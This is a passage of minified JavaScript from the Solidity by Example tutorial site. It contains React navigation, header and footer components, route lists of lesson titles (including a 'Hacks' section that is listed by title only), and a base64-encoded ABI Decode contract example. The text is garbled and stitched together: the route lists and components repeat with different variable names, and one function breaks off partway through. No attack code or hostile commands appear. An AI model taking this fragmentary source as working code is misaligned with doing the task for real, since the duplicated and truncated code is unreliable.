Contract"},{path:"honeypot",title:"Honeypot"},{path:"front-running",title:"Front Running"},{path:"block-timestamp-manipulation",title:"Block Timestamp Manipulation"},{path:"signature-replay",title:"Signature Replay"},{path:"contract-size",title:"Bypass Contract Size Check"},{path:"deploy-different-contracts-same-address",title:"Deploy Different Contracts at Same Address"},{path:"vault-inflation",title:"Vault Inflation Attack"},{path:"weth-permit",title:"WETH Permit"}],qd=[{path:"storage",title:"EVM Storage Layout"},{path:"memory",title:"EVM Memory Layout"}],sC=[{path:"echidna",title:"Echidna"}],aC=[{path:"uniswap-v2",title:"Uniswap V2 Swap"},{path:"uniswap-v2-add-remove-liquidity",title:"Uniswap V2 Add Remove Liquidity"},{path:"uniswap-v2-optimal-one-sided-supply",title:"Uniswap V2 Optimal One Sided Supply"},{path:"uniswap-v2-flash-swap",title:"Uniswap V2 Flash Swap"},{path:"uniswap-v3-swap",title:"Uniswap V3 Swap"},{path:"uniswap-v3-liquidity",title:"Uniswap V3 Liquidity"},{path:"uniswap-v3-flash",title:"Uniswap V3 Flash Loan"},{path:"uniswap-v3-flash-swap",title:"Uniswap V3 Flash Swap Arbitrage"},{path:"chainlink-price-oracle",title:"Chainlink Price Oracle"},{path:"dai-proxy",title:"DAI Proxy"},{path:"staking-rewards",title:"Staking Rewards"},{path:"discrete-staking-rewards",title:"Discrete Staking Rewards"},{path:"vault",title:"Vault"},{path:"constant-sum-amm",title:"Constant Sum AMM"},{path:"constant-product-amm",title:"Constant Product AMM"},{path:"stable-swap-amm",title:"Stable Swap AMM"}],rt=[{title:"",routes:Od.map(s=>({...s,path:`/${s.path}`}))},{title:"Applications",routes:Pd.map(s=>({...s,path:`/app/${s.path}`}))},{title:"Hacks",routes:$d.map(s=>({...s,path:`/hacks/${s.path}`}))},{title:"EVM",routes:qd.map(s=>({...s,path:`/evm/${s.path}`}))},{title:"Tests",routes:sC.map(s=>({...s,path:`/tests/${s.path}`}))},{title:"DeFi",routes:aC.map(s=>({...s,path:`/defi/${s.path}`}))}],jp=rt.map(({routes:s})=>s).flat(),nC=jp.reduce((s,a,n)=>(s[a.path]=n,s),{});function lC(s){const a=nC[s];if(a>=0){const n=jp[a-1]||null,l=jp[a+1]||null;return{prev:n,next:l}}return{prev:null,next:null}}const pC=({onClick:s})=>{const a=Fp();function n(l,p){l.preventDefault(),s(p)}return r.jsxs(r.Fragment,{children:[r.jsx("h3",{className:xa.category,children:"Basic"}),rt.map(({routes:l,title:p},e)=>r.jsxs("div",{children:[p&&r.jsx("h3",{className:xa.title,children:p}),r.jsx("ul",{className:xa.list,children:l.map(({path:c,title:t})=>{const o=!!oc(c,a.pathname);return r.jsx("li",{className:o?xa.listItemActive:xa.listItem,children:r.jsx("a",{className:xa.link,href:c,onClick:i=>n(i,c),children:t})},c)})})]},e))]})},eC=({size:s,className:a="",onClick:n})=>r.jsx("svg",{xmlns:"http://www.w3.org/2000/svg",fill:"none",viewBox:"0 0 20 20",strokeWidth:2,stroke:"currentColor",className:a,width:s,height:s,onClick:n,children:r.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3.75 6.75h16.5M3.75 12h16.5m-16.5 5.25h16.5"})}),cC="_component_1l8rc_1",tC="_a_1l8rc_14",oC="_center_1l8rc_18",rC="_centerInner_1l8rc_25",iC="_logo_1l8rc_31",gC="_header_1l8rc_35",hC="_mode_1l8rc_40",IC="_hamburger_1l8rc_46",Es={component:cC,a:tC,center:oC,centerInner:rC,logo:iC,header:gC,mode:hC,hamburger:IC},dC=({size:s,className:a=""})=>r.jsx("svg",{xmlns:"http://www.w3.org/2000/svg",fill:"#fff",viewBox:"0 0 438.277 438.277",width:s,height:s,className:a,children:r.jsx("path",{d:"M428.756 300.104c-.664-3.81-2.334-7.047-4.996-9.713-5.9-5.903-12.752-7.142-20.554-3.716-20.937 9.708-42.641 14.558-65.097 14.558-28.171 0-54.152-6.94-77.943-20.838-23.791-13.894-42.631-32.736-56.525-56.53-13.899-23.793-20.844-49.773-20.844-77.945 0-21.888 4.333-42.683 12.991-62.384 8.66-19.7 21.176-36.973 37.543-51.82 6.283-5.898 7.713-12.752 4.287-20.557-3.236-7.801-9.041-11.511-17.415-11.132-29.121 1.141-56.72 7.664-82.797 19.556C111.33 31.478 88.917 47.13 70.168 66.548c-18.747 19.414-33.595 42.399-44.54 68.95-10.942 26.553-16.416 54.39-16.416 83.511 0 29.694 5.806 58.054 17.416 85.082 11.613 27.028 27.218 50.344 46.824 69.949 19.604 19.599 42.92 35.207 69.951 46.822 27.028 11.607 55.384 17.415 85.075 17.415 42.64 0 81.987-11.563 118.054-34.69 36.069-23.124 63.05-54.006 80.944-92.645 1.524-3.423 1.951-7.036 1.28-10.838zm-122.191 84.064c-24.646 11.711-50.676 17.562-78.087 17.562-24.743 0-48.39-4.853-70.947-14.558-22.554-9.705-41.971-22.695-58.246-38.972-16.271-16.272-29.259-35.686-38.97-58.241-9.707-22.556-14.561-46.203-14.561-70.948 0-40.922 12.135-77.466 36.403-109.636 24.266-32.165 55.531-53.959 93.788-65.379-19.795 31.405-29.694 65.379-29.694 101.926 0 34.644 8.564 66.715 25.697 96.223 17.128 29.499 40.446 52.811 69.95 69.948 29.499 17.129 61.565 25.694 96.211 25.694 10.656 0 21.129-.855 31.408-2.57-17.318 20.938-38.307 37.255-62.952 48.951z"})}),CC=({size:s,className:a=""})=>r.jsxs("svg",{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 302.4 302.4",width:s,height:s,className:a,children:[r.jsx("path",{d:"M204.8 97.6C191.2 84 172 75.2 151.2 75.2s-40 8.4-53.6 22.4c-13.6 13.6-22.4 32.8-22.4 53.6s8.8 40 22.4 53.6c13.6 13.6 32.8 22.4 53.6 22.4s40-8.4 53.6-22.4c13.6-13.6 22.4-32.8 22.4-53.6s-8.4-40-22.4-53.6zm-14.4 92.8c-10 10-24 16-39.2 16s-29.2-6-39.2-16-16-24-16-39.2 6-29.2 16-39.2 24-16 39.2-16 29.2 6 39.2 16 16 24 16 39.2-6 29.2-16 39.2z",stroke:"#252519",strokeWidth:12}),r.jsx("path",{d:"M292 140.8h-30.8c-5.6 0-10.4 4.8-10.4 10.4 0 5.6 4.8 10.4 10.4 10.4H292c5.6 0 10.4-4.8 10.4-10.4 0-5.6-4.8-10.4-10.4-10.4zm-140.8 110c-5.6 0-10.4 4.8-10.4 10.4V292c0 5.6 4.8 10.4 10.4 10.4 5.6 0 10.4-4.8 10.4-10.4v-30.8c0-5.6-4.8-10.4-10.4-10.4zm106.8-7.2-22-22c-3.6-4-10.4-4-14.4 0s-4 10.4 0 14.4l22 22c4 4 10.4 4 14.4 0s4-10.4 0-14.4zM151.2 0c-5.6 0-10.4 4.8-10.4 10.4v30.8c0 5.6 4.8 10.4 10.4 10.4 5.6 0 10.4-4.8 10.4-10.4V10.4c0-5.6-4.8-10.4-10.4-10.4zm107.2 44.4c-4-4-10.4-4-14.4 0l-22 22c-4 4-4 10.4 0 14.4 3.6 4 10.4 4 14.4 0l22-22c4-4 4-10.4 0-14.4zM41.2 140.8H10.4c-5.6 0-10.4 4.8-10.4 10.4s4.4 10.4 10.4 10.4h30.8c5.6 0 10.4-4.8 10.4-10.4 0-5.6-4.8-10.4-10.4-10.4zm39.2 80.8c-3.6-4-10.4-4-14.4 0l-22 22c-4 4-4 10.4 0 14.4s10.4 4 14.4 0l22-22c4-4 4-10.4 0-14.4zm0-155.2-22-22c-4-4-10.4-4-14.4 0s-4 10.4 0 14.4l22 22c4 4 10.4 4 14.4 0s4-10.4 0-14.4z",stroke:"#252519",strokeWidth:5})]}),jC=({size:s,className:a="",fill:n})=>r.jsxs("svg",{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 1300 1300",xmlSpace:"preserve",width:s,height:s,className:a,fill:n,children:[r.jsx("path",{opacity:.45,d:"M773.772 253.308 643.068 485.61H381.842l130.614-232.302h261.316"}),r.jsx("path",{opacity:.6,d:"M643.068 485.61h261.318L773.772 253.308H512.456L643.068 485.61z"}),r.jsx("path",{opacity:.8,d:"M512.456 717.822 643.068 485.61 512.456 253.308 381.842 485.61l130.614 232.212z"}),r.jsx("path",{opacity:.45,d:"m513.721 1066.275 130.704-232.303h261.318l-130.705 232.303H513.721"}),r.jsx("path",{opacity:.6,d:"M644.424 833.973H383.107l130.613 232.303h261.317L644.424 833.973z"}),r.jsx("path",{opacity:.8,d:"M775.038 601.761 644.424 833.973l130.614 232.303 130.704-232.303-130.704-232.212z"})]}),AC="/assets/powered-by-cyfrin-CPb_54II.png",uC="_component_18gdn_1",yC={component:uC},mC=()=>r.jsx("a",{target:"__blank",href:"https://www.cyfrin.io/",children:r.jsx("img",{src:AC,alt:"Powered by Cyfrin",className:yC.component})});function bC(){const{state:s,setTheme:a,toggleSideNav:n}=tt();function l(){a(s.theme=="light"?"dark":"light")}return r.jsxs("div",{className:Es.component,children:[r.jsx(eC,{size:20,className:Es.hamburger,onClick:n}),r.jsxs("div",{className:Es.center,children:[r.jsxs("div",{className:Es.centerInner,children:[r.jsx("a",{href:"/",className:Es.a,children:r.jsx(jC,{className:Es.logo,size:30,fill:s.theme=="dark"?"rgb(0, 255, 0)":"currentColor"})}),r.jsx("h3",{className:Es.header,children:r.jsx("a",{href:"/",className:Es.a,children:"Solidity by Example"})})]}),r.jsx(mC,{})]}),r.jsx("button",{className:Es.mode,onClick:l,children:s.theme=="dark"?r.jsx(dC,{size:20}):r.jsx(CC,{size:20})})]})}const wC="_component_o1tj5_1",kC="_row_o1tj5_8",ZC="_bar_o1tj5_13",WC="_to_o1tj5_21",BC="_social_o1tj5_24",GC="_updraft_o1tj5_29",fC="_telegram_o1tj5_34",VC="_discord_o1tj5_38",YC="_youTube_o1tj5_42",us={component:wC,row:kC,bar:ZC,to:WC,social:BC,updraft:GC,telegram:fC,discord:VC,youTube:YC},hg="/assets/updraft-D5eZlzRj.png",Ig="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAEcAAAAyCAYAAAAOX8ZtAAAABmJLR0QA/wD/AP+gvaeTAAADmUlEQVRoge3bT2wUZRjH8c9Ml39S09IC/uFiRBIwabzVE15oiJBwLBcP3npS4E4IBA/EAwmcCInhoCeJNwgQoDGRC8GESMDYhJRyUAQplZa2tBYdD+9suqmsadHO+6J8kzd5Z3Znnt/+9p1ndt593swCKViFV7EWK8vWjpewouyvLLdfLg9rxZKG0ywt39NIOzL8gdE5r42W++uMY6bs/4pJTOARxsr+RHncOO7hbsbjhXzWrNkLBcvxPt5FF97Ga8L+55VR/Ijv8R0u45uM3+d9hoK+gnsFxf+g3S74cD6mrCj4PAHBMdpXRUgLTc35IgGRMduXzYz5OAFxKbSP6p5kpTHtuI22eSem/y4P8UbGaF7u6PXCmDrtgh/q5vTE05IkPcya0x1RSIp0Q1aEy+lhZDEpsirH+tgqEmV9jjdjq0iUt3Ksi60iUdbl6Kw05NatrFlTachnpDPH6kpD7tjBrVscOMCyZZWGXiCrqzcHWlvZv5/r1+ntrTz8POms/rJqZMMGTp7k4kW6uqLJaMLqHB2xVdiyhatXOX48pXzUmQvTmfGp1ejrY2CA3bvDdlyW50grK3Z0cORIyEfbtsVUsjQ9c+ps3MiZM1y4wKZNMRQsS9ecOj09XLvG0aO0VTqrkvDIaWTJEnbtYnAw5KOWliqiPgcjp5HOzpCPrlxh8+bFjrY0R7HYUZ5Tshy/xVYxb4aH2bOH7m4uXVrsaFM1TEvlt04zZmY4dox9+xgbqyrqdN2cdDl9OoyWwcGqI0/nUjVnYIDt28NTfPXGkKQ5IyNhpHR1cfZsTCVTNaF8Iz5PnnDiBHv3hsQbn6kaRmKr0N8fRsuNG7GVNDKcI97XdPMmO3eGR4S0jIHhmhjmjI9z+DCHDjGdVsprIII5p05x8CD371ca9hl4UMODSkOeP19puH/AcI47sVUkys85bsVWkSiDLwoJmtOWZ6H8dCi2ksQYyhir1+dciSolPb5ltnipP6KQFPmaFwWTT+ORUDA5kkMWEvIncTUlw6fZ3OfNgpaCUwnUAcds/QVP/6u1YHnBZwmIjNHOFbOrfJpT8EHBUAKCq2h3i1C9n8/14e+WFLXgPWFJ0TvCkqLXxajn+fd4jJ/wg7Cs6DLOZU1mQ5ua04wi/Am4Fq8Id7lWs4vSVjX0W4W7X17GaZ9zqvriszr19xb++ov9EZ40bD/GVNkfFWYzJ8vjJsp+fWHaJH7BnSzsmzd/AkgxNaTAmykLAAAAAElFTkSuQmCC",XC="/assets/telegram-DMavHjFx.png",vC="/assets/discord-BqSoMD3G.png";function RC(){return r.jsxs("div",{className:us.component,children:[r.jsxs("div",{className:us.row,children:[r.jsx("img",{src:hg,alt:"cyfrin",className:us.updraft}),r.jsx("a",{href:"https://updraft.cyfrin.io",target:"__blank",children:"Cyfrin Updraft"})]}),r.jsxs("div",{className:us.social,children:[r.jsxs("div",{className:us.row,children:[r.jsx("img",{src:vC,alt:"discord",className:us.discord}),r.jsx("a",{href:"https://discord.gg/bt8FK2wkcW",target:"__blank",children:"Discord"})]}),r.jsxs("div",{className:us.row,children:[r.jsx("img",{src:XC,alt:"telegram",className:us.telegram}),r.jsx("a",{href:"https://t.me/smartcontractprogrammer",target:"__blank",children:"Telegram"})]}),r.jsxs("div",{className:us.row,children:[r.jsx("img",{src:Ig,alt:"youtube",className:us.youTube}),r.jsx("a",{href:"https://www.youtube.com/channel/UCJWh7F3AFyQ_x01VKzr9eyA",target:"__blank",children:"YouTube"})]})]}),r.jsx("div",{className:us.row,children:r.jsx("a",{href:"mailto:contact@solidity-by-example.org",children:"contact@solidity-by-example.org"})}),r.jsxs("div",{className:us.row,children:[r.jsx("a",{href:"https://github.com/Cyfrin/solidity-by-example.github.io",target:"__blank",children:"source"}),r.jsx("div",{className:us.bar,children:"|"}),r.jsx("a",{href:"https://github.com/Cyfrin/solidity-by-example.github.io/blob/gh-pages/LICENSE",target:"__blank",children:"license"})]})]})}const NC=({children:s})=>{const{state:a}=tt(),n=W.useRef(null);W.useLayoutEffect(()=>{n.current&&(n.current.scrollTop=parseInt(sessionStorage.getItem("scroll")||"0")||0)},[]);function l(p){var e;sessionStorage.setItem("scroll",(((e=n.current)==null?void 0:e.scrollTop)||0).toString()),window.location.href=p}return r.jsxs("div",{className:Xl.component,children:[r.jsx("div",{ref:n,className:Xl.sideNav,style:a.sideNav?{width:"var(--side-nav-width)",padding:"20px 10px 60px 10px"}:{width:0},children:a.sideNav?r.jsx(pC,{onClick:l}):null}),r.jsxs("div",{className:Xl.main,children:[r.jsx(bC,{}),r.jsxs("div",{className:Xl.children,children:[s,r.jsx(RC,{})]})]})]})},dg=({title:s,description:a,cyfrinLink:n})=>(W.useEffect(()=>{document.title=s;const l=document.querySelector("meta[name='description']");if(l&&l.setAttribute("content",a),n){const p=document.createElement("link");p.rel="canonical",p.href=n,document.head.appendChild(p)}},[]),null),Yo=' ',HC='';function FC(s=[]){W.useEffect(()=>{const a=p=>{try{const e=document.createElement("textarea");e.setAttribute("style","width:1px;border:0;opacity:0;"),document.body.appendChild(e),navigator.clipboard.writeText(p.innerText),document.body.removeChild(e)}catch(e){console.error(e)}},n=[];return document.querySelectorAll("pre").forEach(p=>{var i;if(((i=p.parentElement)==null?void 0:i.className)=="copy-wrapper")return;const e=document.createElement("div");e.className="copy-wrapper",p.parentElement.insertBefore(e,p),e.appendChild(p);const c=document.createElement("button");c.className="copy",c.title="Copy",c.innerHTML=Yo,c.ariaLabel="Copy to clipboard",p.after(c);function t(I){I.preventDefault(),a(p.childNodes[0]),c.innerHTML=HC}function o(I){I.preventDefault(),c.innerHTML=Yo}c.addEventListener("click",t),c.addEventListener("blur",o),n.push(()=>{c.removeEventListener("click",t),c.removeEventListener("blur",o)})}),()=>{for(let p=0;p(FC([]),r.jsx("div",{className:`code ${s}`,dangerouslySetInnerHTML:{__html:a}})),MC="_component_17lfp_1",SC="_content_17lfp_5",xC="_cyfrinLink_17lfp_8",JC="_prevNext_17lfp_11",vl={component:MC,content:SC,cyfrinLink:xC,prevNext:JC},A=({title:s,version:a,description:n,cyfrinLink:l,html:p,prev:e,next:c,codes:t})=>r.jsxs("div",{className:vl.component,children:[r.jsx(dg,{title:`${s} | Solidity by Example | ${a}`,description:n,cyfrinLink:l}),r.jsxs("div",{className:vl.content,children:[r.jsx("h2",{children:s}),l?r.jsxs("div",{className:vl.cyfrinLink,children:["For the most up to date version of this content, please see"," ",r.jsxs("a",{href:l,target:"__blank",children:[s," (Code Example)"]})," ","on Cyfrin.io"]}):null,r.jsx(KC,{html:p}),r.jsxs("div",{className:vl.prevNext,children:[e&&r.jsxs("a",{href:e.path,children:["< ",e.title]}),c&&r.jsxs("a",{href:c.path,children:[c.title," >"]})]}),r.jsx("h3",{children:"Try on Remix"}),r.jsx("ul",{children:t.map(({fileName:o,code:i},I)=>r.jsx("li",{children:r.jsx("a",{href:`https://remix.ethereum.org/?#code=${i}`,target:"_blank",rel:"noreferrer",children:o})},I))})]})]}),zC="0.8.26",DC="ABI Decode",EC="ABI decode bytes",QC="https://www.cyfrin.io/glossary/abi-decode-solidity-code-example",TC=[{fileName:"AbiDecode.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCmNvbnRyYWN0IEFiaURlY29kZSB7CiAgICBzdHJ1Y3QgTXlTdHJ1Y3QgewogICAgICAgIHN0cmluZyBuYW1lOwogICAgICAgIHVpbnQyNTZbMl0gbnVtczsKICAgIH0KCiAgICBmdW5jdGlvbiBlbmNvZGUoCiAgICAgICAgdWludDI1NiB4LAogICAgICAgIGFkZHJlc3MgYWRkciwKICAgICAgICB1aW50MjU2W10gY2FsbGRhdGEgYXJyLAogICAgICAgIE15U3RydWN0IGNhbGxkYXRhIG15U3RydWN0CiAgICApIGV4dGVybmFsIHB1cmUgcmV0dXJucyAoYnl0ZXMgbWVtb3J5KSB7CiAgICAgICAgcmV0dXJuIGFiaS5lbmNvZGUoeCwgYWRkciwgYXJyLCBteVN0cnVjdCk7CiAgICB9CgogICAgZnVuY3Rpb24gZGVjb2RlKGJ5dGVzIGNhbGxkYXRhIGRhdGEpCiAgICAgICAgZXh0ZXJuYWwKICAgICAgICBwdXJlCiAgICAgICAgcmV0dXJucyAoCiAgICAgICAgICAgIHVpbnQyNTYgeCwKICAgICAgICAgICAgYWRkcmVzcyBhZGRyLAogICAgICAgICAgICB1aW50MjU2W10gbWVtb3J5IGFyciwKICAgICAgICAgICAgTXlTdHJ1Y3QgbWVtb3J5IG15U3RydWN0CiAgICAgICAgKQogICAgewogICAgICAgIC8vICh1aW50IHgsIGFkZHJlc3MgYWRkciwgdWludFtdIG1lbW9yeSBhcnIsIE15U3RydWN0IG15U3RydWN0KSA9IC4uLgogICAgICAgICh4LCBhZGRyLCBhcnIsIG15U3RydWN0KSA9CiAgICAgICAgICAgIGFiaS5kZWNvZGUoZGF0YSwgKHVpbnQyNTYsIGFkZHJlc3MsIHVpbnQyNTZbXSwgTXlTdHJ1Y3QpKTsKICAgIH0KfQo="}],UC=`

abi.encode encodes data into bytes.

+ */function ic(s){return s===void 0&&(s=""),new URLSearchParams(typeof s=="string"||Array.isArray(s)||s instanceof URLSearchParams?s:Object.keys(s).reduce((a,n)=>{let l=s[n];return a.concat(Array.isArray(l)?l.map(p=>[n,p]):[[n,l]])},[]))}function Hd(s,a){let n=ic(s);return a&&a.forEach((l,p)=>{n.has(p)||a.getAll(p).forEach(e=>{n.append(p,e)})}),n}const Kd="6";try{window.__reactRouterVersion=Kd}catch{}const Fd="startTransition",Bo=vg[Fd];function Md(s){let{basename:a,children:n,future:l,window:p}=s,e=W.useRef();e.current==null&&(e.current=QI({window:p,v5Compat:!0}));let c=e.current,[t,o]=W.useState({action:c.action,location:c.location}),{v7_startTransition:i}=l||{},I=W.useCallback(d=>{i&&Bo?Bo(()=>o(d)):o(d)},[o,i]);return W.useLayoutEffect(()=>c.listen(I),[c,I]),W.createElement(vd,{basename:a,children:n,location:t.location,navigationType:t.action,navigator:c,future:l})}var fo;(function(s){s.UseScrollRestoration="useScrollRestoration",s.UseSubmit="useSubmit",s.UseSubmitFetcher="useSubmitFetcher",s.UseFetcher="useFetcher",s.useViewTransitionState="useViewTransitionState"})(fo||(fo={}));var Vo;(function(s){s.UseFetcher="useFetcher",s.UseFetchers="useFetchers",s.UseScrollRestoration="useScrollRestoration"})(Vo||(Vo={}));function Sd(s){let a=W.useRef(ic(s)),n=W.useRef(!1),l=Kp(),p=W.useMemo(()=>Hd(l.search,n.current?null:a.current),[l.search]),e=yd(),c=W.useCallback((t,o)=>{const i=ic(typeof t=="function"?t(p):t);n.current=!0,e("?"+i,o)},[e,p]);return[p,c]}const xd="_component_nqcni_1",Jd="_sideNav_nqcni_6",zd="_main_nqcni_13",Dd="_children_nqcni_21",Xl={component:xd,sideNav:Jd,main:zd,children:Dd},Ed="_list_1ltry_1",Qd="_title_1ltry_6",Td="_listItem_1ltry_11",Ud="_listItemActive_1ltry_18",Ld="_link_1ltry_26",xa={list:Ed,title:Qd,listItem:Td,listItemActive:Ud,link:Ld},_d=[{lang:"Armenian",url:"https://pranatech.org/solidity-by-example-hy/"},{lang:"Persian",url:"https://solidifa.ir/solidity-by-example/"},{lang:"Persian",url:"https://siblearn.dev/solidity-by-example"},{lang:"Spanish",url:"https://github.com/lcadafalch/solidity_attacks"},{lang:"Simplified Chinese",url:"https://github.com/Web3-Club/solidity-by-example_Chinese"}],Od=[{path:"hello-world",title:"Hello World"},{path:"first-app",title:"First App"},{path:"primitives",title:"Primitive Data Types"},{path:"variables",title:"Variables"},{path:"constants",title:"Constants"},{path:"immutable",title:"Immutable"},{path:"state-variables",title:"Reading and Writing to a State Variable"},{path:"ether-units",title:"Ether and Wei"},{path:"gas",title:"Gas and Gas Price"},{path:"if-else",title:"If / Else"},{path:"loop",title:"For and While Loop"},{path:"mapping",title:"Mapping"},{path:"array",title:"Array"},{path:"enum",title:"Enum"},{path:"user-defined-value-types",title:"User Defined Value Types"},{path:"structs",title:"Structs"},{path:"data-locations",title:"Data Locations - Storage, Memory and Calldata"},{path:"transient-storage",title:"Transient Storage"},{path:"function",title:"Function"},{path:"view-and-pure-functions",title:"View and Pure Functions"},{path:"error",title:"Error"},{path:"function-modifier",title:"Function Modifier"},{path:"events",title:"Events"},{path:"events-advanced",title:"Events Advanced"},{path:"constructor",title:"Constructor"},{path:"inheritance",title:"Inheritance"},{path:"shadowing-inherited-state-variables",title:"Shadowing Inherited State Variables"},{path:"super",title:"Calling Parent Contracts"},{path:"visibility",title:"Visibility"},{path:"interface",title:"Interface"},{path:"payable",title:"Payable"},{path:"sending-ether",title:"Sending Ether - Transfer, Send, and Call"},{path:"fallback",title:"Fallback"},{path:"call",title:"Call"},{path:"delegatecall",title:"Delegatecall"},{path:"function-selector",title:"Function Selector"},{path:"calling-contract",title:"Calling Other Contract"},{path:"new-contract",title:"Creating Contracts from a Contract"},{path:"try-catch",title:"Try / Catch"},{path:"import",title:"Import"},{path:"library",title:"Library"},{path:"abi-encode",title:"ABI Encode"},{path:"abi-decode",title:"ABI Decode"},{path:"hashing",title:"Hashing with Keccak256"},{path:"signature",title:"Verifying Signature"},{path:"gas-golf",title:"Gas Optimizations"},{path:"bitwise",title:"Bitwise Operators"},{path:"unchecked-math",title:"Unchecked Math"},{path:"assembly-variable",title:"Assembly Variable"},{path:"assembly-if",title:"Assembly Conditional Statements"},{path:"assembly-loop",title:"Assembly Loop"},{path:"assembly-error",title:"Assembly Error"},{path:"assembly-math",title:"Assembly Math"}],Pd=[{path:"ether-wallet",title:"Ether Wallet"},{path:"multi-sig-wallet",title:"Multi Sig Wallet"},{path:"merkle-tree",title:"Merkle Tree"},{path:"iterable-mapping",title:"Iterable Mapping"},{path:"erc20",title:"ERC20"},{path:"erc721",title:"ERC721"},{path:"erc1155",title:"ERC1155"},{path:"gasless-token-transfer",title:"Gasless Token Transfer"},{path:"simple-bytecode-contract",title:"Simple Bytecode Contract"},{path:"create2",title:"Precompute Contract Address with Create2"},{path:"minimal-proxy",title:"Minimal Proxy Contract"},{path:"upgradeable-proxy",title:"Upgradeable Proxy"},{path:"deploy-any-contract",title:"Deploy Any Contract"},{path:"write-to-any-slot",title:"Write to Any Slot"},{path:"uni-directional-payment-channel",title:"Uni-directional Payment Channel"},{path:"bi-directional-payment-channel",title:"Bi-directional Payment Channel"},{path:"english-auction",title:"English Auction"},{path:"dutch-auction",title:"Dutch Auction"},{path:"crowd-fund",title:"Crowd Fund"},{path:"multi-call",title:"Multi Call"},{path:"multi-delegatecall",title:"Multi Delegatecall"},{path:"time-lock",title:"Time Lock"},{path:"assembly-bin-exp",title:"Assembly Binary Exponentiation"},{path:"airdrop",title:"Merkle Airdrop"}],$d=[{path:"re-entrancy",title:"Re-Entrancy"},{path:"overflow",title:"Arithmetic Overflow and Underflow"},{path:"self-destruct",title:"Self Destruct"},{path:"accessing-private-data",title:"Accessing Private Data"},{path:"delegatecall",title:"Delegatecall"},{path:"randomness",title:"Source of Randomness"},{path:"denial-of-service",title:"Denial of Service"},{path:"phishing-with-tx-origin",title:"Phishing with tx.origin"},{path:"hiding-malicious-code-with-external-contract",title:"Hiding Malicious Code with External Contract"},{path:"honeypot",title:"Honeypot"},{path:"front-running",title:"Front Running"},{path:"block-timestamp-manipulation",title:"Block Timestamp Manipulation"},{path:"signature-replay",title:"Signature Replay"},{path:"contract-size",title:"Bypass Contract Size Check"},{path:"deploy-different-contracts-same-address",title:"Deploy Different Contracts at Same Address"},{path:"vault-inflation",title:"Vault Inflation Attack"},{path:"weth-permit",title:"WETH Permit"}],qd=[{path:"storage",title:"EVM Storage Layout"},{path:"memory",title:"EVM Memory Layout"}],sC=[{path:"echidna",title:"Echidna"}],aC=[{path:"basic",title:"Basic"},{path:"auth",title:"Authorization"},{path:"error",title:"Error"},{path:"event",title:"Event"},{path:"send",title:"Send"},{path:"time",title:"Time"},{path:"sign",title:"Sign"},{path:"label",title:"Label"},{path:"mock-call",title:"Mock Call"}],nC=[{path:"uniswap-v2",title:"Uniswap V2 Swap"},{path:"uniswap-v2-add-remove-liquidity",title:"Uniswap V2 Add Remove Liquidity"},{path:"uniswap-v2-optimal-one-sided-supply",title:"Uniswap V2 Optimal One Sided Supply"},{path:"uniswap-v2-flash-swap",title:"Uniswap V2 Flash Swap"},{path:"uniswap-v3-swap",title:"Uniswap V3 Swap"},{path:"uniswap-v3-liquidity",title:"Uniswap V3 Liquidity"},{path:"uniswap-v3-flash",title:"Uniswap V3 Flash Loan"},{path:"uniswap-v3-flash-swap",title:"Uniswap V3 Flash Swap Arbitrage"},{path:"chainlink-price-oracle",title:"Chainlink Price Oracle"},{path:"dai-proxy",title:"DAI Proxy"},{path:"staking-rewards",title:"Staking Rewards"},{path:"discrete-staking-rewards",title:"Discrete Staking Rewards"},{path:"vault",title:"Vault"},{path:"constant-sum-amm",title:"Constant Sum AMM"},{path:"constant-product-amm",title:"Constant Product AMM"},{path:"stable-swap-amm",title:"Stable Swap AMM"}],rt=[{title:"",routes:Od.map(s=>({...s,path:`/${s.path}`}))},{title:"Applications",routes:Pd.map(s=>({...s,path:`/app/${s.path}`}))},{title:"Hacks",routes:$d.map(s=>({...s,path:`/hacks/${s.path}`}))},{title:"EVM",routes:qd.map(s=>({...s,path:`/evm/${s.path}`}))},{title:"Tests",routes:sC.map(s=>({...s,path:`/tests/${s.path}`}))},{title:"Foundry",routes:aC.map(s=>({...s,path:`/foundry/${s.path}`}))},{title:"DeFi",routes:nC.map(s=>({...s,path:`/defi/${s.path}`}))}],jp=rt.map(({routes:s})=>s).flat(),lC=jp.reduce((s,a,n)=>(s[a.path]=n,s),{});function pC(s){const a=lC[s];if(a>=0){const n=jp[a-1]||null,l=jp[a+1]||null;return{prev:n,next:l}}return{prev:null,next:null}}const eC=({onClick:s})=>{const a=Kp();function n(l,p){l.preventDefault(),s(p)}return r.jsxs(r.Fragment,{children:[r.jsx("h3",{className:xa.category,children:"Basic"}),rt.map(({routes:l,title:p},e)=>r.jsxs("div",{children:[p&&r.jsx("h3",{className:xa.title,children:p}),r.jsx("ul",{className:xa.list,children:l.map(({path:c,title:t})=>{const o=!!oc(c,a.pathname);return r.jsx("li",{className:o?xa.listItemActive:xa.listItem,children:r.jsx("a",{className:xa.link,href:c,onClick:i=>n(i,c),children:t})},c)})})]},e))]})},cC=({size:s,className:a="",onClick:n})=>r.jsx("svg",{xmlns:"http://www.w3.org/2000/svg",fill:"none",viewBox:"0 0 20 20",strokeWidth:2,stroke:"currentColor",className:a,width:s,height:s,onClick:n,children:r.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3.75 6.75h16.5M3.75 12h16.5m-16.5 5.25h16.5"})}),tC="_component_1l8rc_1",oC="_a_1l8rc_14",rC="_center_1l8rc_18",iC="_centerInner_1l8rc_25",gC="_logo_1l8rc_31",hC="_header_1l8rc_35",IC="_mode_1l8rc_40",dC="_hamburger_1l8rc_46",Es={component:tC,a:oC,center:rC,centerInner:iC,logo:gC,header:hC,mode:IC,hamburger:dC},CC=({size:s,className:a=""})=>r.jsx("svg",{xmlns:"http://www.w3.org/2000/svg",fill:"#fff",viewBox:"0 0 438.277 438.277",width:s,height:s,className:a,children:r.jsx("path",{d:"M428.756 300.104c-.664-3.81-2.334-7.047-4.996-9.713-5.9-5.903-12.752-7.142-20.554-3.716-20.937 9.708-42.641 14.558-65.097 14.558-28.171 0-54.152-6.94-77.943-20.838-23.791-13.894-42.631-32.736-56.525-56.53-13.899-23.793-20.844-49.773-20.844-77.945 0-21.888 4.333-42.683 12.991-62.384 8.66-19.7 21.176-36.973 37.543-51.82 6.283-5.898 7.713-12.752 